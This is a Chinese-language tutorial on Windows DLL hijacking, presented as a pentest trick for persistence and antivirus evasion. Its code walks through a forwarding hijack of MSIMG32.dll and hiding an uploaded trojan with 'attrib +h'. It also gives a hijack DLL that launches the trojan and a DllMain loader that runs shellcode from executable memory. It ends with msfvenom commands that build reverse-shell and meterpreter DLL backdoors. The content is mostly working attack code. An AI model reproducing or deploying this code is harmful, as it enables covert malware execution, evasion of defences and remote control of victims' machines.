DLL劫持
DLL劫持
DLL是Windows上的动态链接库的文件格式
而DLL劫持是攻击者是利用一些缺陷,使得进程在加载原本DLL时加载了攻击者准备好的恶意DLL文件
对于渗透测试,DLL劫持是我们在权限维持阶段常用的trick,同时也是白加黑免杀的一种技巧
DLL开发以及调用
选用windows上的visual studio这款IDE进行开发
- 选用动态链接库DLL
- 项目结构如下:
- dllmain.cpp:DLL程序主入口
- dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当DLL加载到进程地址空间时执行此情况
::MessageBox(NULL, L"this is a test", L"DLL Test", MB_OK | MB_ICONWARNING);
break;
case DLL_THREAD_ATTACH: // 当DLL加载后在进程中创建一个新线程时执行此情况
case DLL_THREAD_DETACH: // 当线程从进程中分离时执行此情况, 一般做线程清理
case DLL_PROCESS_DETACH: // 当DLL从进程中卸载时执行此情况, 一般做进程清理
break;
}
return TRUE;
}
// trick: 设置导出函数的方法如下, 导出函数可以被GetProcAddress获取
extern "C" __declspec(dllexport) void export_func(void);
- 编译生成DLL文件,在相应的DLL项目右键点击生成
- 调用
主要使用LoadLibrary、GetProcAddress这两个API来进行调用
#include <stdio.h>
#include <Windows.h>
int main()
{
PVOID hDll = NULL;
hDll = LoadLibrary(L"C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
if (hDll == NULL) {
printf("Load DLL Error");
return -1;
}
printf("Load DLL Success");
return 0;
}
成功:
windows DLL 搜索机制
参考:https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security
在Win XP SP2之前是默认未启用DLL搜索模式
之后开始启用安全DLL搜索模式:
- The directory from which the application loaded.
- The system directory.
- The 16-bit system directory.
- The Windows directory.
- The current directory.
- The directories that are listed in the PATH environment variable.
- 注册表配置和DLL安全策略
-
如果要关闭DLL安全搜索策略,则在注册表中创建
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
项,并置为0 -
为了防止一些易被劫持的系统DLL被劫持,将这些DLL写入到注册表中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
DLL劫持姿势
转发劫持
原理很简单,就是在恶意DLL的输出表上直接映射为原有的DLL文件上,可以参考下图(https://www.anquanke.com/post/id/232891#h2-0)
此处以geek.exe文件为例
首先使用CFF Explorer查看geek.exe的导入表
我们选择劫持MSIMG32.dll,该dll的输出表有如下函数
在劫持DLL中直接进行转发
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
::MessageBox(NULL, L"直接转发函数", L"From DLL Hijack", MB_OK | MB_ICONWARNING);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// 直接转发函数
#pragma comment(linker, "/EXPORT:vSetDdrawflag=OLD_MSIMG32.vSetDdrawflag")
#pragma comment(linker, "/EXPORT:AlphaBlend=OLD_MSIMG32.AlphaBlend")
#pragma comment(linker, "/EXPORT:DllInitialize=OLD_MSIMG32.DllInitialize")
#pragma comment(linker, "/EXPORT:GradientFill=OLD_MSIMG32.GradientFill")
#pragma comment(linker, "/EXPORT:TransparentBlt=OLD_MSIMG32.TransparentBlt")
然后将劫持DLL和原来的DLL放在同一目录下
运行即可触发执行恶意DLL
DLL劫持免杀
利用DLL直接加载木马上线
- 利用场景:
已经上传了免杀🐎,但是还没执行。此时可以利用DLL劫持的技巧使得🐎的执行更加隐秘
在资源管理器中隐藏项目
attrib +h test.exe
在劫持dll中创建进程
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(L"C:\\Users\\icfh\\Desktop\\exe\\exp\\test.exe", NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
break;
break;
}
return TRUE;
}
以弹计算器为例:
利用DLL直接上线
这里直接使用c2生成的c格式的shellcode,然后写入到dllmain中
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t size = sizeof(buf);
// 申请空间
char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 复制shellcode到申请的内存页中
memcpy(inject, buf, size);
// 创建新线程
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
msf生成dll后门操作
x64:msfvenom -p windows/x64/shell/reverse_tcp LHOST=.. LPORT=.. -f dll -o msf.dll
x86:msfvenom -p windows/meterpreter/reverse_tcp LHOST=.. LPORT=.. -f dll -o msf.dll